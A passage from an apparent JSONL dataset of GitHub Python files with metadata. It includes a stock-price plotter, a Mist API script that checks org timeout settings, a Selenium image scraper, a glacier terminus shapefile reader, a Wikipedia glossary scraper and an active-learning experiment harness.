open(os.environ['OUTPUT_PATH'], 'w')\n\n l = int(input().strip())\n\n s = input()\n\n result = alternate(s)\n\n fptr.write(str(result) + '\\n')\n\n fptr.close()\n", "repo_name": "AilingLiu/hackerrank", "sub_path": "alternate.py", "file_name": "alternate.py", "file_ext": "py", "file_size_in_byte": 1221, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "itertools.combinations", "line_number": 25, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 38, "usage_type": "attribute"}]} {"seq_id": "19076901075", "text": "# Nevan Parsley NRP211 11274655\n# Dr. Jeffery Long\n\n\nimport math as m\nimport numpy as np\nimport pandas_datareader as pdr\nimport datetime\nimport matplotlib.pyplot as mp\n\nuserInput = input('Input stock idea you would like to view: ').upper()\n\nprint('The YTD closing data as of', datetime.datetime.today(),'is:')\n\nstock_data = pdr.get_data_yahoo(userInput,\n start=datetime.datetime(datetime.datetime.today().year, 1, 1),\n end=datetime.datetime.today())\n\n# print(stock_data) # shows the format of \nstock = np.array(stock_data)\nstk = stock[0:, -1].flatten()\nnorm_stk = []\nnorm_stk = np.convolve(stk, [1, -1])\n\n## stock price YTD\nmp.plot(stk)\nmp.title('YTD value')\nmp.xlabel(userInput)\nmp.show()\n#stock change YTD\nmp.plot(norm_stk[1:-1])\nmp.title('YTD change per day')\nmp.xlabel(userInput)\nmp.show()\nprint(\"Max increase in close,\", max(norm_stk[1:]), \"Max Decrease in close,\", min(norm_stk[:-1]))\nprint('Average change in closing price', sum(norm_stk[1:-1])/(len(norm_stk)-2))\nif sum(norm_stk[1:-1]) > 0:\n print(\"The stock value has INCREASED\", sum(norm_stk[1:-1]), \"so far this year\")\nelse:\n print(\"The stock value has DECREASED\", sum(norm_stk[1:-1]), \"so far this year\")\n", "repo_name": "Nevanp/Pyhton_stocks", "sub_path": "panda_market/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1223, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "datetime.datetime.today", "line_number": 13, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pandas_datareader.get_data_yahoo", "line_number": 15, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 16, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 16, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 17, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 17, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.convolve", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}]} {"seq_id": "43200492826", "text": "#!/usr/bin/python\n\n''' \nWritten by Matt Fowler (mattf@juniper.net).\nPython script to find orgs with non-default idle or session timers.\n\n'''\n\nimport requests\nimport json\n\napi_token = ''\napi_url_g01 = 'https://api.mist.com/api/v1'\napi_url_g02 = 'https://api.gc1.mist.com/api/v1'\napi_url_g03 = 'https://api.ac2.mist.com/api/v1'\napi_url_g04 = 'https://api.gc2.mist.com/api/v1'\napi_url_eu01 = 'https://api.eu.mist.com/api/v1'\n\n\ndef get_self(session, headers):\n\turl = '{}/self'.format(api_url)\n\n\tresult = session.get(url, headers=headers)\n\n\tif result.status_code != 200:\n\t\tprint('Failed to POST')\n\t\tprint('URL: {}'.format(url))\n\t\tprint('Response: {} ({})'.format(result.text, result.status_code))\n\n\t\treturn (False, None, result)\n\n\tresult = json.loads(result.text)\n\treturn result\n\ndef get_org(session, headers, org_id):\n\turl = '{}/orgs/{}'.format(api_url, org_id)\n\n\tresult = session.get(url, headers=headers)\n\n\tif result.status_code != 200:\n\t\tprint('Failed to POST')\n\t\tprint('URL: {}'.format(url))\n\t\tprint('Response: {} ({})'.format(result.text, result.status_code))\n\n\t\treturn (False, None, result)\n\n\tresult = json.loads(result.text)\n\treturn result\n\ndef get_org_setting(session, headers, org_id):\n\turl = '{}/orgs/{}/setting'.format(api_url, org_id)\n\n\tresult = session.get(url, headers=headers)\n\n\tif result.status_code != 200:\n\t\tprint('Failed to POST')\n\t\tprint('URL: {}'.format(url))\n\t\tprint('Response: {} ({})'.format(result.text, result.status_code))\n\n\t\treturn (False, None, result)\n\n\tresult = json.loads(result.text)\n\treturn result\n\nsession = requests.Session()\n\n# Main\nif __name__ == '__main__':\n\n\tprint (\"\"\"\n\tThis script will check timeouts on all Orgs attached to your account.\n\t\"\"\")\n\tans = 'invalid'\n\twhile ans == 'invalid':\n\t\tans=input(\"\"\"\n\t\tWhich cloud is this for?\n\t\t1.Global 01\n\t\t2.Global 02\n\t\t3.Global 03\n\t\t4.Global 04\n\t\t5.Europe 01\n\t\t\"\"\")\n\t\tif ans==\"1\": \n\t\t\tapi_url = api_url_g01\n\t\telif ans==\"2\":\n\t\t\tapi_url = api_url_g02\n\t\telif ans==\"3\":\n\t\t\tapi_url = api_url_g03\n\t\telif ans==\"4\":\n\t\t\tapi_url = api_url_g04\n\t\telif ans==\"5\":\n\t\t\tapi_url = api_url_eu01\n\t\telif ans !=\"\":\n\t\t\tprint(\"\\n Not Valid Choice Try again\")\n\t\t\tans = 'invalid'\n\n\tapi_token = input(\"\"\"\n\t\tPlease enter your API Token:\n\t\t\"\"\")\n\n\theaders = {\n\t'Content-Type': 'application/json; charset=utf-8', 'Accept-Encoding': 'gzip, deflate',\n\t'Authorization': 'Token ' + api_token\n\t}\n\n\tresult = get_self(session, headers)\n\tlowest_idle = 99999999\n\tlowest_session = 99999999\n\tnon_default_list = []\n\tfor i in result['privileges']:\n\t\tif i['scope'] == 'org':\n\t\t\torg_id = i['org_id']\n\t\t\torg_config = get_org(session, headers, org_id)\n\t\t\torg_name = org_config['name']\n\t\t\tsession_expiry = org_config['session_expiry']\n\t\t\torg_setting = get_org_setting(session, headers, org_id)\n\t\t\tif 'ui_idle_timeout' in org_setting:\n\t\t\t\tidle_timeout = org_setting['ui_idle_timeout']\n\t\t\telse:\n\t\t\t\tidle_timeout = 0\n\t\t\tprint('Checked {}'.format(org_name))\n\t\t\tif idle_timeout != 0 or session_expiry != 1440:\n\t\t\t\tnon_default_list.append('{} ({}) Idle: {} Session: {}'.format(org_name, org_id, idle_timeout, session_expiry))\n\t\t\t\tprint('{}\\nSession Expiry: {}\\nIdle Timeout: {}\\n\\n'.format(org_name, session_expiry, idle_timeout))\n\t\t\t\tprint('{} NOT STANDARD!! Please Check!\\n\\n'.format(org_name))\n\t\t\t\tif 0 < idle_timeout < lowest_idle:\n\t\t\t\t\tlowest_idle = idle_timeout\n\t\t\t\t\tlowest_idle_org = org_name\n\t\t\t\tif session_expiry < lowest_session:\n\t\t\t\t\tlowest_session = session_expiry\n\t\t\t\t\tlowest_session_org = org_name\n\t\n\tif non_default_list:\n\t\tprint(\"\"\"\\n\\n\n\t\t##########################################\n\t\tHere are the Orgs with one or more non-default timers:\n\t\t\"\"\")\n\t\tprint(*non_default_list, sep='\\n')\n\t\tprint(\"\"\"\n\t\t##########################################\n\t\t\\n\\n\"\"\")\n\n\tif lowest_idle == 99999999:\n\t\tprint('No org has a non-default idle timeout')\n\telse:\n\t\tprint('{} has the lowest idle timeout of {} minutes.'.format(lowest_idle_org, lowest_idle))\n\t\n\tif lowest_session >= 1440:\n\t\tprint('No org has a session expiry below 1440 minutes.')\n\telse:\n\t\tprint('{} has the lowest session expiry of {} minutes.'.format(lowest_session_org, lowest_session))", "repo_name": "mattfowler11/public", "sub_path": "check_timeouts.py", "file_name": "check_timeouts.py", "file_ext": "py", "file_size_in_byte": 4067, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "json.loads", "line_number": 32, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 47, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 62, "usage_type": "call"}, {"api_name": "requests.Session", "line_number": 65, "usage_type": "call"}]} {"seq_id": "22985314987", "text": "import csv\nimport base64\nimport tkinter as tk\nfrom tkinter import ttk\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom selenium.webdriver.common.keys import Keys\nfrom urllib.request import urlopen\n\n\nwindow = tk.Tk()\nwindow.title(\"Resim Seçme Programı\")\nwindow.geometry('600x60')\n\npathLabel = ttk.Label(\n window, text=\"Lütfen stok bilgisi dosyasının yolunu giriniz: \")\npathLabel.grid(column=0, row=0, padx=(10, 10), pady=(2, 2))\n\npathEntry = ttk.Entry(window, width=50)\npathEntry.grid(column=1, row=0, padx=(10, 10), pady=(2, 2))\npathEntry.focus()\n\nimageLists = []\n\n\ndef clicked():\n pathEntryText = pathEntry.get()\n window.destroy()\n i = 0\n options = Options()\n options.headless = True\n browser = webdriver.Chrome()\n browser.implicitly_wait(10)\n browser.get(\"https://www.google.com.tr/imghp?hl=tr&tab=wi&authuser=0&ogbl\")\n with open(pathEntryText.replace('\"', ''), encoding=\"utf8\") as csv_file:\n\n resoruceFile = csv.reader(csv_file, delimiter=';')\n for row in resoruceFile:\n\n print(row[1])\n stockCode = row[0]\n productName = row[1]\n inputElement = browser.find_element_by_name(\"q\")\n inputElement.send_keys(row[1])\n inputElement.submit()\n\n try:\n browser.find_element_by_xpath(\n \"//*[@id=\\\"islrg\\\"]/div[1]/div[1]/a[1]\").click()\n img = browser.find_element_by_xpath(\n \"//*[@id=\\\"Sva75c\\\"]/div/div/div[3]/div[2]/c-wiz/div[1]/div[1]/div/div[2]/a/img\").get_attribute(\"src\")\n imageLists.append(img)\n\n except:\n pass\n\n newBrowser = webdriver.Chrome()\n newBrowser.implicitly_wait(10)\n src = newBrowser.get(imageLists[0])\n print(src)\n i += 1\n\n homeElement = browser.find_element_by_xpath(\n \"//*[@id=\\\"sf\\\"]/div[1]/div[1]/c-wiz/div/a\").click()\n browser.find_element_by_xpath(\n \"//*[@id=\\\"gbw\\\"]/div/div/div[1]/div[2]/a\").click()\n newBrowser.close()\n\n browser.close()\n\n imageWindow = tk.Tk()\n imageWindow.title(\"Resim Seçme Ekranı\")\n imageWindow.geometry('1120x280')\n\n image_byt = urlopen(imageLists[0]).read()\n print(image_byt)\n image_b64 = base64.encodestring(image_byt)\n photo = tk.PhotoImage(data=image_b64)\n\n cv = tk.Canvas(bg='white')\n cv.pack(side='top', fill='both', expand='yes')\n cv.create_image(10, 10, image=photo, anchor='nw')\n cv.grid(column=0, row=1, padx=(10, 10), pady=(2, 2))\n\nstartButon = ttk.Button(window, text=\"XML Oluştur\", command=clicked)\nstartButon.grid(column=1, row=2, padx=(10, 10), pady=(2, 2))\n\nwindow.call('wm', 'attributes', '.', '-topmost', '1')\nwindow.mainloop()\n", "repo_name": "osmankorucu/ImageSearcher", "sub_path": "imageSearch.py", "file_name": "imageSearch.py", "file_ext": "py", "file_size_in_byte": 2882, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "tkinter.Tk", "line_number": 12, "usage_type": "call"}, {"api_name": "tkinter.ttk.Label", "line_number": 16, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 16, "usage_type": "name"}, {"api_name": "tkinter.ttk.Entry", "line_number": 20, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 20, "usage_type": "name"}, {"api_name": "selenium.webdriver.chrome.options.Options", "line_number": 31, "usage_type": "call"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 33, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 33, "usage_type": "name"}, {"api_name": "csv.reader", "line_number": 38, "usage_type": "call"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 58, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 58, "usage_type": "name"}, {"api_name": "tkinter.Tk", "line_number": 72, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 76, "usage_type": "call"}, {"api_name": "base64.encodestring", "line_number": 78, "usage_type": "call"}, {"api_name": "tkinter.PhotoImage", "line_number": 79, "usage_type": "call"}, {"api_name": "tkinter.Canvas", "line_number": 81, "usage_type": "call"}, {"api_name": "tkinter.ttk.Button", "line_number": 86, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 86, "usage_type": "name"}]} {"seq_id": "14528350482", "text": "import os,csv,re,datetime,itertools\nimport numpy as np\nimport pandas as pd\nimport shapely\nimport uafgi.data\nfrom uafgi.util import pdutil,functional,shputil\n\ndef _parse_daterange(srange):\n return tuple(datetime.datetime.strptime(x,'%d%b%Y') for x in srange.split('-'))\n\n@functional.memoize\ndef read(map_wkt):\n \"\"\"Reads annual terminus lines\"\"\"\n\n ddir = uafgi.data.join('measures-nsidc0642')\n terminiRE = re.compile(r'termini_(\\d\\d)(\\d\\d)_v01\\.2\\.shp')\n dfs = list()\n leaves = [list(), list()] # Format changes between 2012/13 and 2014/15\n for leaf in os.listdir(ddir):\n match = terminiRE.match(leaf)\n if match is not None:\n y0 = 2000+int(match.group(1))\n y1 = 2000+int(match.group(2))\n leaves[0 if y0<2014 else 1].append((leaf,y0,y1))\n\n all_namecols = ['GlacName', 'GrnlndcNam', 'Name','Official_n', 'AltName', 'GrnlndcNam']\n for leaf,y0,y1 in sorted(leaves[0]):\n df = pd.DataFrame(shputil.read(os.path.join(ddir,leaf), wkt=map_wkt))\n df['year0'] = y0\n df['year1'] = y1\n namecols = [x for x in all_namecols if x in df.columns]\n df['allnames'] = list(zip(*[df[x] for x in (namecols)]))\n df['date'] = df['DateRange'].map(_parse_daterange)\n df = df.drop(['_shape0', 'DateRange'] + namecols, axis=1)\n dfs.append(df)\n\n # Different data format 2014 and beyond\n for leaf,y0,y1 in sorted(leaves[1]):\n df = pd.DataFrame(shputil.read(os.path.join(ddir,leaf), wkt=map_wkt))\n df['year0'] = y0\n df['year1'] = y1\n namecols = [x for x in all_namecols if x in df.columns]\n df['allnames'] = list(zip(*[df[x] for x in (namecols)]))\n df['date'] = df['DATE'].map(lambda x: datetime.datetime.strptime(x,'%Y-%m-%d'))\n df = df.drop(['_shape0', 'DATE'] + namecols, axis=1)\n dfs.append(df)\n\n\n df = pd.concat(dfs)\n df = df.reset_index(drop=True) \\\n .rename(columns={'_shape': 'terminus'}) \\\n .drop('Id', axis=1)\n\n return pdutil.ext_df(df, map_wkt,\n add_prefix='ns642_',\n keycols=['GlacierID', 'year1'])\n\n\ndef termini_by_glacier(ns642):\n \"\"\"Collects rows from original ns642 DataFrame by GlacierID.\n Breaks the terminus lines apart into multiple points.\"\"\"\n\n # Create column with value [(date, terminus), ...]\n df2 = pdutil.group_and_tuplelist(ns642.df, ['ns642_GlacierID'],\n [ ('ns642_date_termini', ['ns642_date', 'ns642_terminus']) ])\n\n\n xdf = ns642.replace(df=df2, keycols=['ns642_Glacier'])\n xdf.df['ns642_key'] = xdf.df['ns642_GlacierID']\n return xdf\n\n#\n#\n#\n#\n#\n# dfg = ns642.df.groupby(by='ns642_GlacierID')\n#\n# data = list()\n# for name, gr in dfg:\n# pointss = [list(ls.coords) for ls in gr['ns642_terminus']]\n# points = list(itertools.chain.from_iterable(pointss)) # Join to a single list\n# data.append([name, shapely.geometry.MultiPoint(points)])\n# \n# df2 = pd.DataFrame(data=data, columns=['ns642_GlacierID', 'ns642_points'])\n# df2['ns642_key'] = df2['ns642_GlacierID']\n# xdf = ns642.replace(df=df2, keycols=['ns642_GlacierID'])\n# return xdf\n#\n", "repo_name": "pism/greenland_calving", "sub_path": "uafgi/data/ns642.py", "file_name": "ns642.py", "file_ext": "py", "file_size_in_byte": 3143, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "datetime.datetime.strptime", "line_number": 9, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 9, "usage_type": "attribute"}, {"api_name": "uafgi.data.data.join", "line_number": 15, "usage_type": "call"}, {"api_name": "uafgi.data.data", "line_number": 15, "usage_type": "attribute"}, {"api_name": "uafgi.data", "line_number": 15, "usage_type": "name"}, {"api_name": "re.compile", "line_number": 16, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 19, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 28, "usage_type": "call"}, {"api_name": "uafgi.util.shputil.read", "line_number": 28, "usage_type": "call"}, {"api_name": "uafgi.util.shputil", "line_number": 28, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 39, "usage_type": "call"}, {"api_name": "uafgi.util.shputil.read", "line_number": 39, "usage_type": "call"}, {"api_name": "uafgi.util.shputil", "line_number": 39, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 44, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 44, "usage_type": "attribute"}, {"api_name": "pandas.concat", "line_number": 49, "usage_type": "call"}, {"api_name": "uafgi.util.pdutil.ext_df", "line_number": 54, "usage_type": "call"}, {"api_name": "uafgi.util.pdutil", "line_number": 54, "usage_type": "name"}, {"api_name": "uafgi.util.functional.memoize", "line_number": 11, "usage_type": "attribute"}, {"api_name": "uafgi.util.functional", "line_number": 11, "usage_type": "name"}, {"api_name": "uafgi.util.pdutil.group_and_tuplelist", "line_number": 64, "usage_type": "call"}, {"api_name": "uafgi.util.pdutil", "line_number": 64, "usage_type": "name"}]} {"seq_id": "40362150154", "text": "from bs4 import BeautifulSoup as bs # import for beautifulsoup\\\nfrom bs4 import SoupStrainer as strainer\nimport requests # this is so i can use a link to get html output\n\nurl = 'https://en.wikipedia.org/wiki/Glossary_of_computer_science'\nresponse = requests.get(url)\n\nonly_glossary = strainer(attrs={'class': 'glossary'})\nsoup = bs(response.content, 'html.parser', parse_only=only_glossary) # turn html into soup\n\nfor dl in soup.find_all('dl'):\n for items in dl.find_all():\n if items.name == 'dt':\n print(f\"- {items.text}\\n\")\n elif items.name == 'dd':\n print(f\"> {items.text}\\n\")\n", "repo_name": "Inom-Turdikulov/notes", "sub_path": "tools/archive/scrape_glossary_of_CS.py", "file_name": "scrape_glossary_of_CS.py", "file_ext": "py", "file_size_in_byte": 622, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "requests.get", "line_number": 6, "usage_type": "call"}, {"api_name": "bs4.SoupStrainer", "line_number": 8, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 9, "usage_type": "call"}]} {"seq_id": "30462382434", "text": "import argparse\nimport csv\nimport datetime\nimport math\nimport os\nimport time\nimport warnings\nfrom functools import partial\n\nimport numpy as np\nfrom sklearn.metrics import classification_report, f1_score, make_scorer\nfrom sklearn.model_selection import GridSearchCV, train_test_split, PredefinedSplit\nfrom sklearn.utils import shuffle\n\nimport json\n\nimport torch\nfrom torch._C import dtype\nimport torch.nn as nn\nimport torch.optim as optim\n\nfrom podium.datasets import SingleBatchIterator\nfrom podium.vectorizers import GloVe\n\nimport utils\nfrom metrics import Metrics\nfrom stopping_criteria import QueryCount, VarianceSurge\nfrom acq_models.models import TorchModel, get_model\nfrom acq_functions.samplers import get_AL_sampler\nfrom acq_functions.random_sampler import RandomSampler\nfrom acq_functions.uncertainty_sampler import LeastConfidentSampler\n\nfrom al_config import STORAGE_PATH\nfrom data import (TorchTM, SklearnTM)\n\nwarnings.warn = lambda *a, **kw: None\n\nL = utils.logger('al_experiment')\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--dataset-name', type=str, default='imdb',\n help='Dataset name.')\nparser.add_argument('--max-vocab-size', type=int, default=25_000,\n help='Maximum vocab size.')\nparser.add_argument('--acq-model', type=str, default='log_reg',\n help='AL acqusition model.')\nparser.add_argument('--num-epoch', type=int, default=20,\n help='Number of epoch to train the model in each AL step.')\nparser.add_argument('--embedding-dim', type=int, default=100,\n help='Embedding dimensionality.')\nparser.add_argument('--acq-fun', type=str, default='random',\n help='AL acquisition function.')\nparser.add_argument('--al-batch-size', type=int, default=10_000,\n help='AL batch size.')\nparser.add_argument('--warmstart-size', default=20,\n help=(\"Can be float or integer. Float indicates percentage of training data \"\n\t\t\t\t\t\t \"to use in the initial warmstart model. Use -1 for cold start (one example from each class).\"))\n\n# parser.add_argument('--grid-search-step', type=int, default=-1,\n# help='Perform grid search CV for optimal parameters every n batches. Use -1 to disable.')\n# parser.add_argument('--multilabel', type=bool, default=False,\n# help='True for multilabel data, false otherwise.')\n# parser.add_argument('--seed', type=int, default=42,\n# help='Seed.')\n\nparser.add_argument('--log-every', type=int, default=10,\n help='Results are logged periodically.')\n\n\nRESULT_PATH = STORAGE_PATH\n\n'''\nMain class that contains functions and variables needed for runnning \nthe Active Learning experiment.\n'''\n\nclass AlExperiment():\n\n def __init__(self,\n train_manager, #object that wraps the training parameters and settings\n dataset_name, #dataset to test on\n al_method, #active learning sampling method used ('entropy', 'margin', 'qbc', 'bald')\n warmstart_size, #number of data points used for pretraining the first model\n al_batch_size, #number of data points given to annotators in each step\n grid_search_step=-1, #step used when optimizing the parameters using grid search\n seeds=[42], #random seeds used in each run, to get stochastic results\n model_name='log_reg', #ML model used in the experiment ('log_reg', 'svm', 'rnn')\n model=None, #ML model object\n save_seeds=False):\n\n self.train_manager = train_manager \n self.dataset_name = dataset_name\n self.al_method = al_method\n self.warmstart_size = warmstart_size\n self.al_batch_size = al_batch_size\n self.seeds = seeds\n self.grid_search_step = grid_search_step\n self.model_name = model_name\n self.model = model\n self.info = None\n self.results = []\n self.save_seeds = save_seeds\n self.ml_metrics = Metrics()\n\n '''\n Runs one iteration of an Active Learning experiment. \n '''\n def run_single(self, seed=42, verbose=False, logiter=5):\n utils.set_seed_everywhere(seed)\n\n # Torch neural models needs to reset neurons' weights in each step in order to re-train.\n if isinstance(self.model, TorchModel):\n for layer in self.model.children():\n if hasattr(layer, 'reset_parameters'):\n layer.reset_parameters()\n\n # Load the train and test data.\n X_train, y_train = self.train_manager.get_numpy_data('train')\n X_test, y_test = self.train_manager.get_numpy_data('test')\n train_size = self.train_manager.dataset_size('train')\n test_size = self.train_manager.dataset_size('test')\n \n # Get the sampler for this particular active-learning samplin strategy.\n sampler = get_AL_sampler(self.al_method)\n al_batch_size = self.check_percentage(self.al_batch_size, train_size)\n warmstart_size = self.check_percentage(self.warmstart_size, train_size)\n stopping_criterion = QueryCount\n\n # Load the model.\n model = self.model\n\n if verbose:\n L.debug(f'train_size: {train_size}, test_size: {test_size}')\n L.debug(f'al_method:{self.al_method} warmstart_size:{warmstart_size} '\n f'al_batch_size:{al_batch_size} seed:{seed} model:{self.model_name}')\n\n results = {}\n metrics_train = []\n metrics_test = []\n predictions_test = []\n\n # TODO: implement stratified sample for torch\n selected_inds = np.random.choice(np.arange(train_size), warmstart_size, replace=False).tolist()\n\n # initial sample\n # if warmstart_size == -1:\n # # cold start - use one example from each class\n # selected_inds = utils.stratified_sample(\n # y_train, np.unique(y_train).size)\n # else:\n # # use warmstart_size/class_count examples from each class\n # selected_inds = utils.stratified_sample(y_train, warmstart_size)\n\n seed_batch = len(selected_inds)\n num_labeled = [seed_batch]\n stopping_criterion = stopping_criterion(train_size=train_size,\n batch_size=al_batch_size,\n seed_batch=seed_batch)\n #, X=X_train, y=y_train)\n sampler = sampler(X_train, y_train, seed)\n\n been = True\n while not stopping_criterion.is_over():\n curr_batch = stopping_criterion.current_batch\n n_train = seed_batch + \\\n min(train_size - seed_batch, curr_batch * al_batch_size)\n\n if verbose:\n L.debug('Training model on %s/%s datapoints',\n n_train, train_size)\n\n assert n_train == len(selected_inds)\n\n # Sort active_ind so that the end results matches that of uniform sampling.\n sorted(selected_inds)\n X_selected_batch = X_train[selected_inds]\n y_selected_batch = y_train[selected_inds]\n\n # Train the model with selected data points!\n model.al_step(selected_inds, self.train_manager)\n\n # TODO: transfer to al step\n metrics_train.append(\n self.ml_metrics.eval_metrics(\n ys_true=y_selected_batch, hs=model.predict_numpy(X_selected_batch)))\n\n metrics_test.append(\n self.ml_metrics.eval_metrics(\n ys_true=y_test, hs=model.predict_numpy(X_test)))\n\n if (curr_batch + 1) % logiter == 0 and verbose:\n L.debug(f'Sampler: {sampler.name}, metrics_train: {metrics_train[-1]}, metrics_test: {metrics_test[-1]}')\n\n\n # The data in next steps will be selected from the remainder of unlabeled data points.\n remaining = train_size - len(selected_inds)\n n_sample = min(al_batch_size, remaining)\n if n_sample == remaining:\n all_inds = np.arange(train_size)\n new_batch = np.setdiff1d(all_inds, selected_inds).tolist()\n elif n_sample > 0:\n # These inputs will be provided to various different samplers,\n # depending on their respective method signatures.\n select_args = dict(model=model,\n sampler=sampler,\n N=n_sample,\n labeled=selected_inds,\n X_test=X_test,\n y_test=y_test,\n verbose=verbose)\n #model = model.train()\n new_batch = sampler.select_batch(**select_args).tolist()\n else:\n new_batch = []\n\n selected_inds.extend(new_batch)\n num_labeled.append(len(selected_inds))\n\n if verbose:\n L.info('Requested: %d, Selected: %d' %\n (n_sample, len(new_batch)))\n assert len(new_batch) == n_sample\n assert len(set(selected_inds)) == len(selected_inds)\n\n stopping_criterion.next_state(annotated_count=n_sample)\n\n # After the stopping criterion is reached, the active learning process stops and results are ready.\n stopping_criterion.reset()\n results = [{'metrics_train': m_train, 'metrics_test': m_test, 'labeled': labeled}\n for m_train, m_test, labeled in zip(metrics_train, metrics_test, num_labeled)]\n\n # Make results readable and save them.\n result = dict(meta=dict(dataset=self.dataset_name,\n sampler=self.al_method,\n warmstart_size=warmstart_size,\n batch_size=al_batch_size,\n model=self.model_name,\n grid=self.grid_search_step,\n seed=seed),\n results=results)\n\n\n if self.save_seeds:\n filepath = RESULT_PATH + \\\n f'{self.dataset_name}.{self.al_method}.{self.model_name}.ws={warmstart_size}.bs={al_batch_size}.s={seed}.grid={self.grid_search_step}.{utils.time_string()}.json'\n utils.dump(result, filepath, overwrite=True, mode='json')\n\n if verbose:\n L.info('Results stored to %s', filepath)\n\n return result\n\n '''\n Run multiple AL experiments, once for each seed. \n '''\n def run(self, checkpoint_file=None, verbose=False, logiter=5):\n for seed in self.seeds:\n L.debug('Running experiment : %s' % self.info_string(seed))\n self.start_time()\n result = self.run_single(seed, verbose, logiter)\n self.results.append(result)\n self.end_time()\n L.debug('Finished experiment : %s in %s' %\n (self.info_string(seed), self.get_duration()))\n\n if checkpoint_file is not None:\n self.write_to_csv(checkpoint_file)\n self.store_average()\n\n\n def check_percentage(self, sample, total_len):\n if sample < 1 and sample != -1:\n return int(sample*total_len)\n else:\n return int(sample)\n\n '''\n Store the average results of multiple runs (with multiple seeds),\n '''\n def store_average(self, metrics=[(lambda r: r['metrics_test'].aggregated['f1_micro'], 'f1_micro'),\n (lambda r: r['metrics_test'].aggregated['f1_macro'], 'f1_macro')]):\n seeds = []\n xs = [r['labeled'] for r in self.results[0]['results']]\n Ys = []\n for result in self.results:\n seeds.append(result['meta']['seed'])\n res = result['results']\n Y_met = [[] for _ in range(len(metrics))]\n for r in res:\n for j, metric in enumerate(metrics):\n val = metric[0](r)\n Y_met[j].append(val)\n Ys.append(Y_met)\n\n Ys = np.array(Ys).swapaxes(0, 1)\n\n results = dict(labeled=xs)\n for i, metric in enumerate(metrics):\n results[metric[1]] = Ys[i].mean(0)\n results[f'{metric[1]}_var'] = Ys[i].var(0)\n results[f'{metric[1]}_baseline'] = Ys[i][0][-1]\n\n result_avg = dict(meta=dict(dataset=self.dataset_name,\n sampler=self.al_method,\n warmstart_size=self.warmstart_size,\n batch_size=self.al_batch_size,\n model=self.model_name,\n grid=self.grid_search_step,\n seeds=seeds),\n results=results)\n\n\n filepath = os.path.join(\n RESULT_PATH,\n f'avg.{self.dataset_name}.{self.al_method}'\n f'.ws={self.warmstart_size}'\n f'.bs={self.al_batch_size}'\n f'.grid={self.grid_search_step}'\n f'.{utils.time_string()}.json')\n utils.dump(result_avg, filepath, overwrite=True, mode='json')\n L.info('Average stored to %s', os.path.abspath(filepath))\n\n def info_string(self, seed):\n self.info = f'(%s, %d, %d, %s, %d)' % \\\n (self.al_method, self.warmstart_size,\n self.al_batch_size, self.model_name, seed)\n return self.info\n\n def start_time(self):\n self.start = time.time()\n\n def end_time(self):\n self.end = time.time()\n self.duration = str(datetime.timedelta(\n 